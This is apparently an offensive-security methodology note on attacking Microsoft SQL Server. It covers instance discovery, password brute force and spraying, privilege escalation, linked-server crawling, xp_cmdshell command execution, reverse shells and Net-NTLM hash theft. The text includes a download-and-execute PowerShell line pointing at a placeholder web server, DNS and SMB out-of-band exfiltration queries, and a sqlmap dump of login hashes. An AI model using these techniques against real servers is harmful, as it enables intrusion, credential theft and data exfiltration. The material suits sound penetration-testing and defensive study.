1433 - MSSQL
PowerUpSQL
PowerUpSQL is a PowerShell framework that implement cmdlets to discover, enumerate, and exploit SQL server instances. A number of usage of the PowerUpSQL PowerShell cmdlets presented in this note are inspired from the PowerUpSQL Cheat Sheet.
PowerUpSQL can be installed / imported in a number of ways:
# Permanently installs the framework from the PowerShell Gallery on the local system (requires local administrative privileges).
Install-Module -Name PowerUpSQL
# Imports the module in the current PowerShell session (to be executed in the project directory).
Import-Module PowerUpSQL.psd1
# Inject the PowerShell script in memory (for the current PowerShell session only).
IEX (Get-Content -Raw PowerUpSQL.ps1)
IEX(New-Object System.Net.WebClient).DownloadString("http://<WEBSERVER_IP>/PowerUpSQL.ps1")
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")MSSQL instances discovery
Through network scans
nmap can be used to scan the network for exposed MSSQL instances:
nmap -v -p 1433 -sV -sC -oA nmap_mssql <RANGE | CIDR>On the current subnet broadcast domain
The PowerUpSQL's Get-SQLInstanceBroadcast PowerShell cmdlet can be used to discover MSSQL instances on the current local network subnet broadcast domain using the System.Data.Sql.SqlDataSourceEnumerator class (and an UPD broadcast request).
Using Active Directory credentials
If Active Directory domain credentials are known, a list of the domain service accounts referencing in their ServicePrincipalName (SPN) a MSSQL service can be requested in order to identify the MSSQL instances, that make use of the Kerberos authentication protocol, within the domain. As the SPN for service accounts follow the naming convention <SERVICE>/<HOST>, SPN starting with MSSQL are linked to SQL Server instances.
The PowerShell cmdlets Get-ADUser, of the Active Directory module for PowerShell and Get-SQLInstanceDomain, of the PowerUpSQL suite, can be used to conduct the search:
Through the SQL Server Browser service (in black box)
The nmap MSSQL-info.nse script attempts to determine configuration and version information from SQL Server instances. The script will first gather information by querying the SQL Server Browser service (that runs by default on UDP port 1434 and provides imprecise version information) and then sending a probe to the instance to conduct response packet analysis.
The metasploit auxiliary/scanner/mssql/mssql_ping module attempts to retrieve similar information:
Authentication weaknesses
Empty password
Whenever targeting a large number of MSSQL services, the nmap nse script MSSQL-empty-password.nse can be used to quickly try to connect using the sa account and a blank password:
Authentication brute force
The Metasploit's auxiliary/scanner/mssql/mssql_login module and patator can be used to brute force credentials for the service.
Alternatively, PowerUpSQL's Get-SQLServerLoginDefaultPw PowerShell cmdlet can be used to test if the targeted SQL Server instance(s) are configured to accept (50+) known default passwords:
Authentication spraying
A combination of the PowerUpSQL's Get-SQLInstanceDomain and Get-SQLConnectionTestThreaded PowerShell cmdlets can be used to:
first enumerate the
SQL Serverinstances of anActive Directorydomainthen attempt authentication using the current security context or the specified (local or windows) credentials on the discovered instances.
The Get-SQLInstanceDomain cmdlet can be replaced by the Get-SQLInstanceBroadcast cmdlet to attempt spraying over the SQL server instances of the local subnet.
Information gathering and data retrieval
Interactive command line MSSQL clients
The sqsh Linux utility as well as the impacket Python script mssqlclient.py can be used to make queries to the database:
Graphical user interface MSSQL clients
The DBeaver GUI tool can be used to simply access the database content through a graphical interface without the need to know the underlying MSSQL query syntax.
Automated authenticated reconnaissance
Basic data retrieval queries
Comments
Encoding queries
Obfuscating queries
Disable logging mechanisms
MSSQL version
SELECT @@version
Current database username
SELECT USER_NAME()
SELECT CURRENT_USER
Current logged in account
SELECT SYSTEM_USER
List the users in the current database
SELECT name, create_date, modify_date, type_desc, authentication_type_desc FROM sys.database_principals ORDER BY create_date DESC
Users' passwords
Using sqlmap:
sqlmap -D master -T sys.sql_logins --dump [...]
Current database
SELECT DB_NAME()
Databases
SELECT name FROM master.sys.databases
List tables of the specified database
SELECT TABLE_NAME FROM [<DATABASE>].INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'
List columns of the specified table
SELECT COLUMN_NAME FROM [<DATABASE>].INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE>' ORDER BY ORDINAL_POSITION
Select all data from the specified table
SELECT * FROM <TABLE>
SELECT * FROM [<DATABSE>].<. | dbo | SCHEMA>.<TABLE>
Dump hashes
If provided with an user credentials of appropriate DB privileges, the nmap NSE script MSSQL-dump-hashes.nse can be used to dump the password hashes from an MSSQL instance in a format suitable for cracking by tools such as John-the-ripper / hashcat.
Out-of-band data exfiltration
DNS request
SELECT LOAD_FILE(concat('\\\\', (<SELECT_QUERY_ONE_ROW_RESULT>), '.<HOSTNAME>\\'))
SMB request
SELECT <...> INTO OUTFILE '\\<HOSTNAME>\<SMB_SHARE>\<OUTPUT_FILE>'
Privileges escalation
MSSQL server-level and database-level roles overview
MSSQL provides a roles mechanism which, similarly to groups in the Microsoft Windows operating system, makes use of security principals that group other principals and define server-wide or database-wide permissions. Permissions are the rights to access and modify the service configuration and databases objects.
Server roles have a server-wide scope while database role are database-wide in their permissions scope.
There are two types of MSSQL roles:
fixed roles, that have a fixed and defined set of permissionsuser-defined roles, that can be manually created and assigned permissions
The following table shows the fixed-server roles and their capabilities:
sysadmin
Encompasses all other roles and can perform any activity in the server.
serveradmin
Can change server-wide configuration options and shut down the server. serveradmin can activate and make use of xp_cmdshell.
securityadmin
Manage logins and is granted the ALTER ANY LOGIN permission which allows GRANT, DENY, and REVOKE operations on server-level permissions and database-level permissions (for the database the user granted the role has access to). While securityadmin can not assign user roles (such as sysadmin or serveradmin), assigning the CONTROL SERVER permission can result in privileges escalation to sysadmin (process detailed below).
processadmin
Can end processes that are running in an instance of SQL Server.
setupadmin
Can add and remove linked servers by using Transact-SQL statements.
bulkadmin
Can run the BULK INSERT statement.
diskadmin
Manage disk files
dbcreator
Can create, alter, drop, and restore any database
public
Every SQL Server login belongs to the public server role. When a server principal has not been granted or denied specific permissions on a securable object, the user inherits the permissions granted to public on that object. public is implemented differently than other roles, and permissions can be granted, denied, or revoked from the role.
The following table shows the fixed-database roles and their capabilities:
db_owner
Can perform all configuration and maintenance activities on the database and can also drop the database.
db_securityadmin
Can modify role membership for custom roles only, create users without logins, and manage permissions.
db_accessadmin
Can add or remove access to the database for Windows logins, Windows groups, and SQL Server logins.
db_backupoperator
Can back up the database.
db_ddladmin
Can run any Data Definition Language (DDL) command in a database.
db_datawriter
Can add, delete, or change data in all user tables.
db_datareader
Can read all data from all user tables.
db_denydatawriter
Can not add, modify, or delete any data in the user tables within a database.
db_denydatareader
Can not read any data in the user tables within a database.
Enumerate user's roles and permissions
IMPERSONATE permission
The IMPERSONATE permission allows for the context switching of a SQL statement by impersonating another login or database user. An user granted the IMPERSONATE permission can thus elevate its privileges to the ones of the user he is allowed to impersonate, resulting in a potential elevation of privileges.
This permission is implied for the sysadmin role for all databases, and the db_owner role members in databases that they own. Indeed, impersonation of a login (EXECUTE AS LOGIN) grants server level permissions (of the impersonated login) while the impersonation of an user (EXECUTE AS USER) only grant permissions at the database level.
The following queries can be used to exploit the IMPERSONATE permission:
The Metasploit's auxiliary/admin/mssql/mssql_escalate_execute_as module and the PowerShell cmdlet Invoke-SQLAuditPrivImpersonateLogin of the PowerUpSQL suite can be used to automate the impersonation of an user having the sysadmin role :
securityadmin role / "CONTROL SERVER" permission to sysadmin
The securityadmin role or the CONTROL SERVER permission can be exploited to gain sysadmin access.
Indeed the CONTROL SERVER permission can be used to grant the permission to impersonate an user with the sysadmin role, such as sa. While the securityadmin role can not assign user roles, the role can be used to create an account and assign it the CONTROL SERVER permission.
TRUSTWORTHY database db_owner role to sysadmin
Having the db_owner role in a TRUSTWORTHY database (a database with the TRUSTWORTHY property set to true) owned by a user that has the sysadmin role can be leveraged to escalate privileges to sysadmin.
Indeed a stored procedure, declared by a database owner, that is set to EXECUTE AS OWNER will, during execution, acquire the server level permissions of the actual database owner if the database's TRUSTWORTHY property is set. Thus, if a database is TRUSTWORTHY and owned by an user having the sysadmin role, any user having the db_owner role on the database can elevate its privileges to sysadmin.
The Metasploit's auxiliary/admin/mssql/mssql_escalate_dbowner module and the PowerShell cmdlet Invoke-SqlServer-Escalate-DbOwner can be used to automate the process:
PowerUpSQL's Invoke-SQLAudit / Invoke-SQLEscalatePriv
The PowerShell cmdlets Invoke-SQLAudit and Invoke-SQLEscalatePriv, of the PowerUpSQL suite, can be used to detect and exploit path that can be leveraged to escalate privileges.
The Invoke-SQLEscalatePriv cmdlet will call the Invoke-SQLAudit cmdlet with the -Exploit flag to detect and automatically exploit the following misconfigurations / vulnerabilities in order to escalate to the sysadmin role:
IMPERSONATEpermissionTRUSTWORTHYdatabasedb_ownerCREATE PROCEDUREpermission
The cmdlets will moreover conduct various other checks: availability of the stored procedures xpdirtree and xp_fileexist for the specified user, configuration of server database links, etc.
Windows local administrator privileges to SQL Server sysadmin
Among other techniques, such as dumping the LSA secrets, the impersonation of an MSSQL service account can be used to access an MSSQL service as sysadmin after obtaining local administrator privileges on a Windows host.
PowerUpSQL's Invoke-SQLImpersonateService can be used to conduct the impersonation in order to run futher PowerUpSQL as sysadmin:
Linked servers
Overview
The linked server mechanism allows for access to others Object Linking and Embedding, Database (OLE DB) data sources outside of the present MSSQL instance. The mechanism can be used at the database level to connect to and query a variety of data stores including, but not limited to:
SQL Servers
Oracle Servers
Text Files
Excel Files
A server link can be configured to use the current security context of the login, a specified Windows or MSSQL login of the linked server, or be disabled if no credentials are provided. By default, any login that belongs to the PUBLIC role can query a database through a server link and may thus use the configured credentials (if any).
Moreover, stored procedures, such as xp_cmdshell, can be executed over a server link, according to the configured login roles and permissions. Note that outgoing RPC connections, RPC Out, need to be enabled on the link to conduct reconfiguration operations to enable xp_cmdshell on the linked instance.
Discovery and exploitation
The OPENQUERY and EXEC [...] AT functions can be used to execute SQL statements on the specified linked server. Note that the statement executed by OPENQUERY must return a value, so a SELECT 1; is needed for otherwise return less queries. Additionally, RPC Out must be enabled in order to use EXEC [...] AT statements.
SQL statements can be nested through the OPENQUERY and EXEC [...] AT functions. Thus, server links can be followed from server to server. To escape the single quote character, inside a string quoted with ', it should be written as ''.
The PowerUpSQL's Get-SQLServerLinkCrawl PowerShell cmdlet can be used to automate the discovery and exploitation process detailed above:
Additionally, the Metasploit module exploit/windows/mssql/mssql_linkcrawler can be used to automatically and recursively crawl the configured server links and deploy payloads if the DEPLOY is set to True:
OS commands execution
xp_cmdshell procedure
xp_cmdshell procedureThe xp_cmdshell extended procedure can be used to execute system commands given that the account making the queries has sufficient privileges on the SQL service. The xp_cmdshell function is deactivated by default starting from SQL Server 2000 and upwards and needs to be activated. Its re activation requires elevated privileges.
As with any stored procedure, xp_cmdshell needs to be called through stacked queries.
Note that the Windows process spawned by xp_cmdshell has the same security rights as the SQL Server service account running the service.
xp_cmdshell activation
The following query can be used to manually activate it given the account used has sufficient privilege (sysadmin):
Operating system CMD commands can then be executed:
The SQL queries above can be made using the sqsh Linux utility as well as the impacket Python script mssqlclient.py. The mssqlclient.py client integrates the enable_xp_cmdshell and xp_cmdshell commands to automatically enable xp_cmdshell and execute command through it.
PowerShell reverse shell
In order to execute command through a system shell, the PowerShell Nishang's Invoke-PowerShellTcp.ps1 can be used.
Once a web server hosting the PowerShell script and a listener are up and running, the following commands can be used to download and execute the script through the MSSQL service:
Metasploit
The Metasploit module exploit/windows/mssql/mssql_payload automates the tasks above to deploy a payload, such as a reverse meterpreter, on the server through the MSSQL service.
The module exploit/windows/mssql/mssql_payload_sqli works similarly and can be used through an SQL injection.
Standalone MSSQL shell for constrained environments
If outbound traffic (TCP, UDP, ICMP, etc.) is being blocked, the following Python script can be used as a pseudo shell by making use of xp_cmdshell and keeping track of the current working directory. The script also provides a way to upload / download files using multiple echo commands in order to write a base64-encoded file on the server and decoding it using the certutil utility.
sp_execute_external_script procedure
sp_execute_external_script procedureIntroduced in SQL Server 2016 (13.x) and Azure SQL Managed Instance, the sp_execute_external_script procedure can be used to execute scripts written in a number of supported language (Python, R, or Java). The external scripts enabled option, off by default, must be set and the language supported by the server to allow external scripts execution of a given language.
In SQL Server 2016 (13.x), only the R language is supported. Starting from SQL Server 2017 (14.x), the installation of the Machine Learning Services feature may result in the activation of the external scripts enabled option and the support of the Python and / or R languages. Additionally, for SQL Server 2019 (15.x) and later, support for the Java language can be configured directly through the Machine Learning Services feature.
sp_execute_external_script activation and languages support
The following query can be used to manually activate the sp_execute_external_script procedure, given the account used has sufficient privilege:
The following queries can be used to test whether the Python / R languages are supported:
Operating System commands execution through sp_execute_external_script
If the prerequisites are satisfied, script of any supported language can be executed using the sp_execute_external_script procedure:
SQL Server Agent
Overview
The SQL Server Agent is a Windows service that executes scheduled tasks, denominated SQL Server Agent jobs. SQL Server Agent is available is all versions of SQL server, except SQL Server Express, but is disabled by default.
In order to fulfil its function, the SQL Server Agent Windows service must be run using an account having the sysadmin fixed server role in SQL Server as well as the following Windows privileges: SeServiceLogonRight, SeAssignPrimaryTokenPrivilege, SeChangeNotifyPrivilege, and SeIncreaseQuotaPrivilege.
The SQL Server Agent jobs can be executed:
through a
SQL Agent schedule, for example at a recurring interval or at a specific timestamp. A job can be associated with multiple schedules, and reciprocally, a schedule can dictate the execution of multiple jobs.upon the triggering of a
SQL Agent alert, for example in response to an event such as another job execution or the reaching of a system resources usage threshold.directly by executing the
sp_start_jobstored procedure.
A SQL Server Agent job is composed of (at least) one or multiple steps, each step being assigned to a specific SQL Server Agent subsystem. It is possible to execute operating system commands using the following subsystems:
CmdExec: run an executable with the specified command line option, such ascmd.exe /c <COMMAND>for example.PowerShell: run a PowerShell script, by specifying either the PowerShell code directly or a PowerShell script file.ActiveX: run anActiveXscript. Note that theActiveSscriptingsubsystem is discontinued sinceSQL Server 2016(included).
Note that a SQL Server Agent job can run locally on the SQL Server they are configured as well as on one or multiple remote servers.
The permissions to configure, execute, and delete SQL Server Agent jobs are governed by the following fixed database roles:
sysadmin
Fixed-server role.
Can administrate and execute any jobs, regardless of the job's owner.
Is the only role that can define new proxy accounts.
Additionally, can define and execute jobs that will run as the SQL Server Agent Windows service account.
By default, only the members of the sysadmin fixed server role can setup a multi-servers environment.
SQLAgentUserRole
msdb database fixed-database role.
Can create and execute local jobs under their own security context or using the identity of an existing proxy account.
Can enumerate, modify, or delete jobs they own.
By default, cannot delete the job history of the jobs they own.
Cannot enumerate, administrate, or execute jobs they don't own.
SQLAgentReaderRole
msdb database fixed-database role.
Includes the permissions of the SQLAgentUserRole role.
Can additionally enumerate and view the properties / history of all local or multi-servers jobs.
SQLAgentOperatorRole
msdb database fixed-database role.
Includes the permissions of the SQLAgentUserRole and SQLAgentReaderRole roles.
Can additionally execute, stop, and enable / disable all local jobs and their job history.
Cannot however modify or delete jobs they don't own (nor make use of multi-servers jobs).
SQL Server Agent jobs prerequisites
In order to execute SQL Server Agent jobs:
the
SQL Server AgentWindows service must be running.the current user must have sufficient privileges (fixed-server
sysadminrole or any of the fixed-database roles introduced above).
SQL Server Agent jobs operations
The following SQL statements can be used to enumerate, create or delete SQL Server Agent jobs:
Net-NTLM stealer and relaying
The (undocumented) xp_dirtree, xp_fileexist and xp_getfiledetails SQL stored procedures can be used to access files on remote systems over SMB. The account running the SQL service, be it a local or domain joined account, will authenticate to the SMB share by completing a Net-NTLMv1 or Net-NTLMv2 challenge.
This response can be offline cracked to retrieve the password of the SQL service account. The authentication challenge can also be relayed in order to directly execute commands as the account running the SQL service through the SMB service of a targeted server. The targeted server must expose a SMB service that does not require message signing and the SQL service account must have local administrator privileges on the server. For more information on how to conduct this attack, refer to the Active Directory - NTLM Relaying note.
Depending on the permissions configured to use the procedures, a non privileged user may be able to execute them. Usually, the account connecting to the database should only require the PUBLIC role to execute the procedures.
To capture the Net-NTLM response, a SMB share service or Responder must be started:
Then, from a connected SQL interpreter, the methods can be used to make a connection to the SMB service:
The metasploit module auxiliary/admin/mssql/mssql_ntlm_stealer and the msdat Python script can be used to try the three methods above automatically:
References
https://hackingandsecurity.blogspot.com/2018/09/abusing-sql-server-trusts-in-windows.html https://alamot.github.io/mssql_shell/ https://blog.netspi.com/get-sql-server-sysadmin-privileges-local-admin-powerupsql/ https://docs.microsoft.com/fr-fr/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-2017 https://docs.microsoft.com/fr-fr/sql/relational-databases/security/authentication-access/database-level-roles?view=sql-server-2017 https://dba.stackexchange.com/questions/199440/why-securityadmin-does-not-have-enough-permission https://blog.netspi.com/get-sql-server-sysadmin-privileges-local-admin-powerupsql/ https://docs.microsoft.com/fr-fr/dotnet/framework/data/adonet/sql/customizing-permissions-with-impersonation-in-sql-server https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/ https://sqlity.net/en/1701/the-trustworthy-database-property-explained-part-2/ https://docs.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms189237(v=sql.105) https://docs.microsoft.com/fr-fr/sql/ssms/agent/create-an-activex-script-job-step?view=sql-server-2016 https://www.mssqltips.com/sqlservertip/2014/replace-xpcmdshell-command-line-use-with-sql-server-agent/ https://docs.microsoft.com/fr-fr/sql/ssms/agent/clear-the-job-history-log?view=sql-server-ver15 https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-link-crawling-powerupsql/ https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links
Last updated